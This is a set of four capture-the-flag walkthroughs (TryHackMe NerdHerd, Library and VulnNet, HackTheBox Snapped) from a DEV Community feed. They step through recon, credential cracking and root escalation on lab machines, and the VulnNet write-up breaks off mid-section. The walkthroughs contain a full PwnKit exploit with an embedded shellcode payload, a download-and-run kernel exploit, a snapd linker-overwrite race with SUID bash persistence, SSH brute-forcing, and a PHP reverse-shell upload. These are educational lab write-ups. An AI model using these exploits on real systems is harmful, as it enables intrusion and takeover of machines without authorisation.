DEV Community: Yogeshwar Peela

TryHackMe - NerdHerd writeup

Yogeshwar Peela — Tue, 16 Jun 2026 12:51:03 +0000

Platform: TryHackMe

Difficulty: Easy

OS: Linux

Reconnaissance

Nmap

nmap -sC -sV -p- -A MACHINE_IP -oA nmap

Open ports:

21/tcp — vsftpd 3.0.3 (Anonymous FTP allowed)
22/tcp — OpenSSH 7.2p2 (Ubuntu)
139/445/tcp — Samba 4.3.11-Ubuntu (hostname: NERDHERD)
1337/tcp — Apache 2.4.18 (Ubuntu)

Hostname revealed via NetBIOS: NERDHERD.

Enumeration

FTP — Anonymous Login

Anonymous FTP was open. The pub/ directory contained a hidden folder .jokesonyou with hellon3rd.txt:

all you need is in the leet

Also present was youfoundme.png. Running exiftool on it revealed an interesting EXIF field:

Owner Name : fijbxslz

This looked like a Vigenère-ciphered string.

Web — Port 1337

The default Apache page at http://MACHINE_IP:1337 contained hidden HTML comments hinting to keep digging. A linked YouTube video — "Surfin' Bird" by The Trashmen — holds the key phrase: "bird is the word".

Directory brute-forcing found /admin/, which served a login page. The page source contained two Base64-encoded strings:

echo 'Y2liYXJ0b3dza2k=' | base64 -d
# cibartowski

echo 'aGVoZWdvdTwdasddHlvdQ==' | base64 -d
# hehegou (invalid/decoy)

These turned out to be rabbit holes.

Vigenère Cipher

The Vigenère cipher is a polyalphabetic substitution cipher where each plaintext character is shifted by the value of the corresponding key character. Decryption reverses this: for each position, subtract the key character's index from the ciphertext character's index, modulo 26. The key repeats cyclically to cover the full ciphertext length.

The EXIF Owner Name field contained fijbxslz — 8 random-looking lowercase characters with no dictionary meaning, a strong indicator of encryption or encoding. The YouTube link embedded in the web page (/icons/ubuntu-logo.png comment area) pointed to "Surfin' Bird" by The Trashmen, whose defining lyric is "bird is the word". Stripping spaces gives the candidate key: birdistheword.

Applying Vigenère decryption with key birdistheword (only the first 8 characters birdisth are used since the ciphertext is 8 chars long):

Position	Ciphertext	Key char	CT index - Key index (mod 26)	Plaintext
0	f (5)	b (1)	4	e
1	i (8)	i (8)	0	a
2	j (9)	r (17)	18	s
3	b (1)	d (3)	24	y
4	x (23)	i (8)	15	p
5	s (18)	s (18)	0	a
6	l (11)	t (19)	18	s
7	z (25)	h (7)	18	s

Ciphertext : f  i  j  b  x  s  l  z
Key        : b  i  r  d  i  s  t  h   (first 8 of "birdistheword")
Plaintext  : e  a  s  y  p  a  s  s

This was decoded using CyberChef (Vigenère Decode operation) with key birdistheword.

SMB Enumeration

nxc smb MACHINE_IP -u '' -p '' --users

One user found: chuck (full name: ChuckBartowski).

Accessing the nerdherd_classified share with discovered credentials:

smbclient //MACHINE_IP/nerdherd_classified -U chuck%easypass
smb: \> get secr3t.txt

Contents of secr3t.txt:

Ssssh! don't tell this anyone because you deserved it this far:
        check out "/this1sn0tadirect0ry"

Hidden Web Directory

curl http://MACHINE_IP:1337/this1sn0tadirect0ry/creds.txt

alright, enough with the games.

here, take my ssh creds:

        chuck : th1s41ntmypa5s

Initial Access

ssh chuck@MACHINE_IP

chuck@nerdherd:~$ cat user.txt
THM{REDACTED}

Privilege Escalation

Enumeration

sudo -l
# Sorry, user chuck may not run sudo on nerdherd.

uname -r
# 4.4.0-31-generic

No sudo rights. Kernel 4.4.0-31-generic is vulnerable to CVE-2017-16995 — a BPF verifier bypass affecting Linux < 4.13.9 on Ubuntu 16.04.

CVE-2017-16995 — Kernel LPE (EDB-45010)

On the attacker machine:

searchsploit -m 45010
python3 -m http.server 80

On the target:

cd /tmp
wget http://YOUR_IP/45010.c
gcc 45010.c -o pwn
./pwn

[*] credentials patched, launching shell...
# whoami
root

Alternative: CVE-2021-4034 — Polkit pkexec LPE

The target also runs pkexec version 0.105 on kernel 4.4.0-31-generic, making it vulnerable to CVE-2021-4034 (PwnKit). This Python PoC abuses a NULL argv passed to execve() combined with a GCONV_PATH environment variable trick to load a malicious shared library as root.

Save the following as e.py in /tmp on the target:

#!/usr/bin/env python3
# CVE-2021-4034 — pkexec LPE (PwnKit)
import base64, os, sys
from ctypes import *
from ctypes.util import find_library

# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
# PrependSetuid=true is critical — without it you get a shell as current user, not root
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

environ = [
    b'exploit',
    b'PATH=GCONV_PATH=.',
    b'LC_MESSAGES=en_US.UTF-8',
    b'XAUTHORITY=../LOL',
    None
]

libc = CDLL(find_library('c'))

print('[+] Creating shared library for exploit code.')
with open('payload.so', 'wb') as f:
    f.write(payload)
os.chmod('payload.so', 0o0755)

try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    pass

with open('GCONV_PATH=./exploit', 'wb') as f:
    f.write(b'')
os.chmod('GCONV_PATH=./exploit', 0o0755)

try:
    os.mkdir('exploit')
except FileExistsError:
    pass

with open('exploit/gconv-modules', 'wb') as f:
    f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n')

environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

Run it:

cd /tmp
python3 e.py

[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root

The exploit passes NULL as argv to execve() against pkexec, which mishandles the missing argument count and loads an attacker-controlled shared library via the GCONV_PATH environment variable trick, executing the embedded ELF payload with root privileges.

Finding the Real Flag

# cat /root/root.txt
# cmon, wouldnt it be too easy if i place the root flag here?

# find / -type f -name "*.txt" 2>/dev/null
# ...
# /opt/.root.txt  ← real flag

# cat /opt/.root.txt
THM{REDACTED}

The root.txt in /root is a decoy; the actual flag is at /opt/.root.txt.

Summary

NerdHerd is a multi-stage easy room with a CTF puzzle feel. The chain involves extracting a Vigenère-ciphered password from image EXIF metadata, resolving the key from a YouTube easter egg, enumerating SMB to find a username, then retrieving SSH credentials from a hidden web directory. Privilege escalation exploits an unpatched kernel (CVE-2017-16995) via BPF verifier bypass. The room adds a decoy root flag to reward thorough enumeration.

Key Vulnerabilities

#	Vulnerability	Impact
1	Anonymous FTP exposing image with EXIF data	Information disclosure
2	Vigenère-encoded password in EXIF Owner Name field	Credential discovery
3	SMB null session user enumeration	Username disclosure (chuck)
4	Hardcoded SSH creds in hidden web directory	Initial access as chuck
5	CVE-2017-16995 — Linux kernel < 4.13.9 BPF LPE	Root shell
6	CVE-2021-4034 — pkexec NULL argv + GCONV_PATH LPE (PwnKit)	Root shell (alternative path)

Attack Chain

Anonymous FTP → youfoundme.png
        │
        ▼
exiftool → Owner Name: fijbxslz (Vigenère ciphertext)
Web page YouTube link → key: "birdistheword"
Vigenère decrypt → "easypass"
        │
        ▼
SMB null session → user: chuck
smbclient //MACHINE_IP/nerdherd_classified -U chuck%easypass
→ secr3t.txt → hint: /this1sn0tadirect0ry
        │
        ▼
curl MACHINE_IP:1337/this1sn0tadirect0ry/creds.txt
→ chuck:th1s41ntmypa5s
        │
        ▼
SSH login → user.txt
        │
        ▼
uname -r: 4.4.0-31-generic → CVE-2017-16995 (EDB-45010)
gcc 45010.c -o pwn && ./pwn → root shell
        │
        ▼
/opt/.root.txt (real flag — /root/root.txt is a decoy)

Tools Used

Tool	Purpose
Nmap	Port scanning and service enumeration
ftp / smbclient	Anonymous FTP and SMB share access
NetExec (nxc)	SMB null session user enumeration
exiftool	EXIF metadata extraction
CyberChef	Vigenère decryption
dirsearch	Web directory brute-forcing
curl	HTTP endpoint inspection
GCC	Compiling CVE-2017-16995 exploit
CVE-2017-16995 (EDB-45010)	Kernel privilege escalation
CVE-2021-4034 Python PoC	pkexec privilege escalation (alternative)

HackTheBox - Snapped Writeup

Yogeshwar Peela — Tue, 16 Jun 2026 05:59:53 +0000

Platform: HackTheBox

Difficulty: Medium

OS: Linux

Reconnaissance

We begin with a standard nmap scan to identify open ports and running services.

nmap -sC -sV -A MACHINE-IP -oA output_file

Open ports:

Port	Service
22	SSH (tcpwrapped)
80	nginx/1.24.0 — redirects to `http://snapped.htb/`

The scan reveals two services: SSH on port 22 and an nginx web server on port 80 that redirects to snapped.htb. We add the hostname to /etc/hosts and browse to port 80. The landing page offers no obvious attack surface — no login forms, no file uploads, nothing interactive. This tells us enumeration is the next logical step.

Vhost Enumeration

Since the main domain is quiet, there may be virtual hosts (subdomains) serving different applications on the same IP. We fuzz for them using ffuf.

ffuf -u http://snapped.htb -H "HOST: FUZZ.snapped.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Result: admin.snapped.htb (HTTP 200)

We add admin.snapped.htb to /etc/hosts and navigate to it. A login page appears — this is the Nginx UI admin panel. Default credentials (admin:admin, admin:password, etc.) all fail, so we don't try to brute force the login. Instead, we investigate what the application exposes before authentication.

API Endpoint Discovery

While browsing the admin panel, we notice that a request to /api/install returns HTTP 200 — even without logging in. This hints that the API may not enforce authentication consistently. We run a directory brute force specifically against the /api/ path.

feroxbuster -u http://admin.snapped.htb/api/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -C 500,403,404 -t 30 -d 3

Discovered endpoints:

Endpoint	Status
`/api/install`	200
`/api/backup`	200
`/api/licenses`	200

The /api/backup endpoint stands out immediately — a backup endpoint that returns HTTP 200 without any credentials is a significant finding. We probe it manually with curl.

CVE-2026-27944 - Nginx UI Backup Disclosure

Fetching /api/backup unauthenticated returns a ZIP archive. But what really catches the eye is the response header:

curl -v http://admin.snapped.htb/api/backup --output backup.zip

X-Backup-Security: MgzdI0XJazQ2pR+7FC1BHFZQWxltjcKkp2AqhZcV2QI=:qeClzKyylJyq73sCCc5DJQ==

This is CVE-2026-27944. Nginx UI encrypts its backup with AES-256, but then leaks the encryption key and IV directly in a response header — X-Backup-Security contains <Base64 AES key>:<Base64 IV>. Any unauthenticated attacker who requests the backup also receives everything needed to decrypt it. The encryption provides zero security.

A public PoC handles decryption and even creates a new admin user as a bonus:

git clone https://github.com/Skynoxk/CVE-2026-27944
cd CVE-2026-27944
python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --create-user hacker --password Pwned@123!

The decrypted backup contains a nginx-ui/ directory with a database.db SQLite file — the application's entire user database.

Credential Extraction & Hash Cracking

We inspect the database to find stored user accounts.

sqlite3 database.db
sqlite> .tables
sqlite> select * from users;

Two records are returned: admin and jonathan, each with a bcrypt password hash. The $2a$10$ prefix identifies these as bcrypt with cost factor 10.

We save the hashes to a file and run hashcat against the rockyou wordlist:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

-m 3200 is the hashcat mode for bcrypt $2*$ . One of the hashes cracks successfully, giving us jonathan's plaintext password.

User Flag

With valid credentials for jonathan, we try SSH — and the password works, confirming credential reuse between the web application and the system account.

ssh jonathan@snapped.htb

jonathan@snapped:~$ cat user.txt
HTB{REDACTED}

Privilege Escalation - CVE-2026-3888 (snapd Race Condition)

Background

After landing as jonathan, we look for privilege escalation paths. The system is running a vulnerable version of snapd. The SUID binary snap-confine (used by snapd to set up application sandboxes) is at the center of this exploit.

Here is how the vulnerability works:

snap-confine runs as SUID root and creates a temporary sandbox directory under /tmp/.snap/
systemd's tmpfiles service is configured (via /usr/lib/tmpfiles.d/tmp.conf) to clean /tmp every 4 minutes: D /tmp 1777 root root 4m
When the cleanup deletes .snap, there is a brief window between deletion and recreation where an attacker can place their own directory or symlink in its place
snap-confine will then operate on the attacker-controlled path — allowing arbitrary file writes as root
By targeting the dynamic linker (ld-linux-x86-64.so.2) inside the sandbox's root filesystem, we can make any SUID binary load our malicious shared library and execute code as root

Preparation

On our attack machine, we compile two components:

gcc -O2 -static -o firefox_2404 firefox_2404.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell.c

firefox_2404 — the race condition exploit binary; it monitors /tmp/.snap deletion and rapidly swaps directories at the right moment to win the race
librootshell.so — a malicious shared library crafted to execute arbitrary code when loaded; it will replace the real dynamic linker inside the sandbox

Upload both to the target:

scp firefox_2404 librootshell.so jonathan@snapped.htb:~/

Exploitation

The exploit requires three coordinated terminal sessions.

Terminal 1 - Start the sandbox and note the PID

We invoke snap-confine directly with a clean environment to start the sandbox process. This creates the /tmp/.snap/ directory that the exploit targets.

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /bin/bash

Inside the sandbox shell, record the PID — we'll need it to navigate via /proc later:

cd /tmp && echo $$

Now keep the /tmp directory "touched" (preventing aggressive cleanup) while still allowing .snap to be deleted when its timer fires:

while test -d ./.snap; do touch ./; sleep 1; done

This loop runs until .snap is deleted by systemd, signalling that the race window has opened.

Terminal 2 - Break cached namespaces and weaken the sandbox

We navigate into the sandbox's current working directory via procfs — this gives us access even through namespace restrictions:

cd /proc/PID/cwd

We then escape the cached namespace context by spawning a new systemd scope:

systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash

Next, we intentionally trigger a failing snap-confine invocation using an invalid base:

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base snapd snap.firefox.hook.configure /nonexistent

This is expected to fail. The value it provides is that it leaves the mount namespace in an inconsistent state, reducing the sandbox's ability to detect or prevent our manipulation.

Trigger the race:

~/firefox_2404 ~/librootshell.so

firefox_2404 watches for .snap deletion, and the moment it happens, it swaps the directory with our controlled path. Successful output reads trigger detected and swap done. If neither appears, restart from Terminal 1 and wait for the next 4-minute cleanup cycle.

Terminal 3 - Inject the payload into the poisoned filesystem

The exploit writes a file race_pid.txt containing the PID of the new root-level process. We read it and jump into that process's root filesystem via procfs:

PID=$(cat /proc/ORIGINAL_PID/cwd/race_pid.txt)
cd /proc/$PID/root

/proc/<PID>/root gives us a view of the filesystem as seen by the target process — and because we won the race, this is now our controlled sandbox environment.

We place a usable shell binary inside the sandbox (the environment is minimal, so we use busybox):

cp /usr/bin/busybox ./tmp/sh

Now the critical step — we overwrite the dynamic linker with our malicious shared library:

cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

Every dynamically linked binary on Linux loads ld-linux first before executing. Since snap-confine is SUID root, when it next runs and loads any dynamically linked binary, it will load our fake linker — which executes our payload as root.

Trigger root code execution:

We invoke snap-confine one more time. It is SUID root, it is dynamically linked, and its linker is now ours:

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine

/ # id
uid=0(root) gid=1000(jonathan) groups=1000(jonathan)

We have a root shell inside the sandbox.

Persistence

The sandbox environment is restrictive and ephemeral. We copy bash to a location outside the sandbox and set the SUID bit so we can re-enter root from jonathan's session at any time:

cp /bin/bash /var/snap/firefox/common/bash
chmod 4755 /var/snap/firefox/common/bash
exit

Back in jonathan's normal shell, invoking bash with -p preserves the effective UID (root):

/var/snap/firefox/common/bash -p

bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /root/root.txt
HTB{REDACTED}

Tools Used

Tool	Purpose
nmap	Port/service enumeration
ffuf	Vhost fuzzing
feroxbuster	API endpoint discovery
curl	Manual HTTP requests
CVE-2026-27944 PoC	Backup decryption + user creation
sqlite3	Database inspection
hashcat	Bcrypt hash cracking
gcc	Compile race condition exploit
scp	File upload to target
systemd-run	Namespace escape

Attack Chain

Recon (nmap)
  └─ Port 80 → snapped.htb
       └─ Vhost fuzzing (ffuf)
            └─ admin.snapped.htb → login page
                 └─ /api/backup (unauthenticated, feroxbuster)
                      └─ CVE-2026-27944 — AES key in X-Backup-Security header
                           └─ Decrypt backup ZIP
                                └─ Extract database.db (SQLite)
                                     └─ Crack bcrypt hash (hashcat -m 3200)
                                          └─ SSH as jonathan (user.txt)
                                               └─ CVE-2026-3888 — snapd race condition
                                                    └─ Overwrite ld-linux dynamic linker
                                                         └─ SUID snap-confine → root code exec
                                                              └─ SUID bash → root.txt

Key Vulnerabilities

#	Vulnerability	Impact
1	Unauthenticated `/api/backup` endpoint (Nginx UI)	Download of sensitive backup ZIP without auth
2	CVE-2026-27944 — AES key/IV leaked via `X-Backup-Security` header	Full backup decryption by any unauthenticated user
3	SQLite database exposed in backup	User credentials (bcrypt hashes) extracted
4	Weak/crackable bcrypt password	Offline crack via hashcat + rockyou.txt
5	Credential reuse across services	SSH login as `jonathan`
6	SUID `snap-confine` binary	Attack surface for privilege escalation
7	CVE-2026-3888 — snapd race condition	Arbitrary file overwrite as root
8	Predictable `/tmp` cleanup (4-minute window)	Exploitable race window
9	Namespace escape via `/proc` filesystem	Access to restricted sandbox directories
10	Dynamic linker overwrite (`ld-linux-x86-64.so.2`)	Attacker-controlled code execution as root
11	Insufficient sandbox isolation	Malicious modifications persist
12	SUID bash persistence	Stable reusable root shell

TryHackme - Library Writeup

Yogeshwar Peela — Mon, 15 Jun 2026 16:45:10 +0000

Platform: TryHackMe

Difficulty: Easy

OS: Linux

Reconnaissance

Nmap

nmap -sC -sV -A MACHINE_IP -oA nmap

Open ports:

22/tcp — OpenSSH 7.2p2 (Ubuntu)
80/tcp — Apache 2.4.18, title: Welcome to Blog - Library Machine

Web Enumeration

Visiting port 80 revealed a blog page. The blog post was authored by meliodas — a valid username. The comments section also leaked root and www-data as system usernames.

robots.txt contained an unusual entry:

User-agent: rockyou
Disallow: /

This is a hint to use the rockyou.txt wordlist for brute-forcing.

Directory brute-forcing with feroxbuster and dirsearch found nothing beyond static assets (/images/, master.css, logo.png) — no web application attack surface.

Initial Access

SSH Brute-Force with Hydra

Using the discovered username and the rockyou wordlist hint:

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://MACHINE_IP -t 4

Result:

[22][ssh] host: MACHINE_IP   login: meliodas   password: iloveyou1

SSH Login

ssh meliodas@MACHINE_IP

meliodas@ubuntu:~$ ls
bak.py  user.txt
meliodas@ubuntu:~$ cat user.txt
THM{REDACTED}

Privilege Escalation

Sudo Enumeration

sudo -l

User meliodas may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py

Any Python binary can run /home/meliodas/bak.py as root without a password.

Inspecting bak.py

cat bak.py

#!/usr/bin/env python
import os
import zipfile

def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

if __name__ == '__main__':
    zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
    zipdir('/var/www/html', zipf)
    zipf.close()

The file is owned by root (-rw-r--r-- 1 root root), so it cannot be edited directly. However, the home directory is writable by meliodas, meaning the file can be deleted and recreated.

Exploitation

Delete the original file and replace it with a malicious one:

rm /home/meliodas/bak.py

cat > /home/meliodas/bak.py << 'EOF'
import os
os.system("chmod +s /bin/bash")
EOF

Run it with sudo:

sudo /usr/bin/python3 /home/meliodas/bak.py

This sets the SUID bit on /bin/bash. Spawn a privileged shell:

/bin/bash -p

bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
THM{REDACTED}

Summary

Library is a straightforward boot2root machine. The initial foothold relies on OSINT from the web page (username enumeration) combined with a clever robots.txt hint pointing to rockyou. The privilege escalation abuses an overly permissive sudo rule — python* matches any Python binary, and the target script lives in a user-controlled directory, allowing it to be replaced entirely.

Key Vulnerabilities

#	Vulnerability	Impact
1	Username disclosed in webpage source	User enumeration
2	`robots.txt` hints at rockyou wordlist	SSH brute-force vector
3	Weak SSH password (`iloveyou1`)	Initial access as `meliodas`
4	`sudo` allows any Python binary on user-writable `bak.py`	Privilege escalation to root

Attack Chain

HTTP enumeration (port 80)
        │
        ▼
Username: meliodas (blog post author)
robots.txt User-agent: rockyou (wordlist hint)
        │
        ▼
Hydra SSH brute-force → meliodas:iloveyou1
        │
        ▼
SSH login → user.txt
        │
        ▼
sudo -l: /usr/bin/python* /home/meliodas/bak.py (NOPASSWD)
bak.py owned by root but home dir writable → rm + recreate
        │
        ▼
Malicious bak.py: chmod +s /bin/bash
sudo python3 bak.py → /bin/bash -p → root shell

Tools Used

Tool	Purpose
Nmap	Port scanning and service enumeration
dirsearch / feroxbuster	Web directory brute-forcing
Hydra	SSH password brute-force
curl	Manual HTTP inspection
bash	SUID bash privilege escalation

TryHackMe - VulnNet Writeup

Yogeshwar Peela — Sat, 13 Jun 2026 05:00:51 +0000

Platform: TryHackMe

Difficulty: Medium

Reconnaissance

Nmap

nmap -sC -sV -A MACHINE-IP -oA nmap

Starting Nmap 7.98 at 2026-06-12 06:47 -0400
Nmap scan report for 10.49.133.153
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: "VulnNet"
|_http-server-header: Apache/2.4.29 (Ubuntu)

The attack surface here is intentionally minimal - only two ports are open.

Port	Service
22	OpenSSH 7.6p1 (Ubuntu)
80	Apache httpd 2.4.29

No SMB, no AD, no WinRM. Everything is going to happen through the web. The machine hint also tells us to add vulnnet.thm to /etc/hosts, which signals that virtual host routing is in play.

echo "MACHINE-IP vulnnet.thm" >> /etc/hosts

Web Directory Brute Force

ffuf -u http://MACHINE-IP/FUZZ -w /usr/share/wordlists/dirb/big.txt -ac -e php,html,txt,py,js

css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 79ms]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 78ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 84ms]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 101ms]

Nothing immediately exploitable - just static asset directories. At this point, the two Webpack-bundled JavaScript files in /js/ stood out: index__7ed54732.js and index__d8338055.js. Bundled JS files often have hardcoded paths or configuration baked in, so they're worth reading even if they look like minified noise.

LFI Discovery via JavaScript Source

curl http://vulnnet.thm/js/index__d8338055.js

!function(e,t){...}
...n.p="http://vulnnet.thm/index.php?referer=",n(n.s=0)}
...

Buried in the bundle is the string n.p="http://vulnnet.thm/index.php?referer=". The referer parameter is being used as a base path — a classic sign of a file inclusion sink. Testing it with a path traversal payload:

curl "http://vulnnet.thm/index.php?referer=..//etc/passwd" | grep bash

root:x:0:0:root:/root:/bin/bash
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash

/etc/passwd comes back inline with the page HTML - Local File Inclusion confirmed. Two shell users are visible: root and server-management. RFI was attempted but did not work. The focus shifted to reading Apache configuration files, which often reveal credentials, virtual hosts, and internal paths.

Reading Apache Config via LFI

Fetching the virtual host config:

curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/sites-enabled/000-default.conf"

<VirtualHost *:80>
    ServerName vulnnet.thm
    DocumentRoot /var/www/main
    ...
</VirtualHost>
<VirtualHost *:80>
    ServerName broadcast.vulnnet.thm
    DocumentRoot /var/www/html
    ...
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
    ...
</VirtualHost>

Two virtual hosts: vulnnet.thm and broadcast.vulnnet.thm. The broadcast vhost is protected by HTTP Basic Auth and the credential file path is explicitly listed as /etc/apache2/.htpasswd. That's our next read target.

curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/.htpasswd"

developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

Cracking the htpasswd Hash

The hash is Apache MD5 ( $apr1$ ). Save it to hash.txt and crack with john:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads

[REDACTED]          (?)
1g 0:00:00:08 DONE (2026-06-12 07:19) 0.1149g/s 248408p/s 248408c/s 248408C/s
Session completed.

Password cracked: [REDACTED]

Virtual Host Enumeration

The Apache config already revealed broadcast.vulnnet.thm, but a vhost fuzz independently confirms it and rules out other subdomains:

ffuf -u http://vulnnet.thm -H "HOST: FUZZ.vulnnet.thm" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

whm       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4566ms]
mail      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4563ms]
vpn       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4564ms]
broadcast [Status: 401, Size: 468, Words: 42, Lines: 15, Duration: 96ms]

The empty 200s (whm, mail, vpn) are wildcard DNS noise — every non-existent subdomain resolves to the same IP and returns a blank page. broadcast is the only one that returns a 401, meaning the server actually routes it to a real vhost with Basic Auth configured. That's the one we want.

echo "MACHINE-IP broadcast.vulnnet.thm" >> /etc/hosts

Visiting http://broadcast.vulnnet.thm, authenticating with developers:[REDACTED], reveals a ClipBucket video-sharing platform.

Initial Access - ClipBucket Arbitrary File Upload (EDB-44250)

Logging into ClipBucket with the same credentials didn't work, and directory brute forcing the vhost returned nothing. The page source reveals the ClipBucket version as v4.0. Checking exploitdb:

searchsploit clipbucket

ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection | php/webapps/44250.txt
ClipBucket 2.8.3 - Remote Code Execution                                            | php/webapps/42954.py
ClipBucket - 'beats_uploader' Arbitrary File Upload (Metasploit)                    | php/webapps/44346.rb
...

EDB-44250 covers ClipBucket < 4.0.0 Release 4902, which has unauthenticated arbitrary file upload via /actions/beats_uploader.php and /actions/photo_uploader.php. These endpoints only need the HTTP Basic Auth credentials for the vhost — no ClipBucket account required.

Generate a PHP reverse shell (pentestmonkey) from revshells.com, save as file.php.

First attempt with photo_uploader.php:

curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
  http://broadcast.vulnnet.thm/actions/photo_uploader.php \
  -u developers:[REDACTED]

HTTP/1.1 200 OK
...

Returns 200 but no file path in the response — can't trigger it without knowing where it landed. Switching to beats_uploader.php:

curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
  http://broadcast.vulnnet.thm/actions/beats_uploader.php \
  -u developers:[REDACTED]

HTTP/1.1 200 OK
Date: Fri, 12 Jun 2026 14:44:49 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8

{"success":"yes","file_name":"178127548930eb54","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}

Upload confirmed. The response returns the exact filename and directory. Start a listener and trigger the shell:

nc -lvnp 4444

curl http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/178127548930eb54.php \
  -u developers:[REDACTED]

Shell received:

www-data@vulnnet:/$ whoami
www-data
www-data@vulnnet:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation - CVE-2021-4034 (PwnKit)

First thing after landing — check SUID binaries and the OS version:

find / -perm -4000 2>/dev/null

/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/lib/openssh/ssh-keysign
...

pkexec is SUID. Checking the OS:

uname -a

Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 GNU/Linux

apt-cache policy policykit-1

policykit-1:
  Installed: 0.105-20
  Candidate: 0.105-20ubuntu0.18.04.5
  Version table:
     0.105-20ubuntu0.18.04.5 500
        500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages
 *** 0.105-20 500
        500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages

Installed policykit-1 is 0.105-20 — the unpatched version. The candidate (0.105-20ubuntu0.18.04.5) contains the fix for CVE-2021-4034 (PwnKit). The CVE exploits a memory corruption issue in how pkexec handles its argument vector at startup — the authentication prompt is never reached. Running pkexec id interactively fails with an auth prompt, but that's irrelevant to the exploit path.

www-data@vulnnet:/$ pkexec id
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/bin/id' as the super user
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===

That failing is expected. Two exploit options:

Option A — Python PoC (self-contained, no compilation needed):

This script bundles the exploit payload as base64 and constructs everything it needs at runtime — no make, no compiler required on the target.

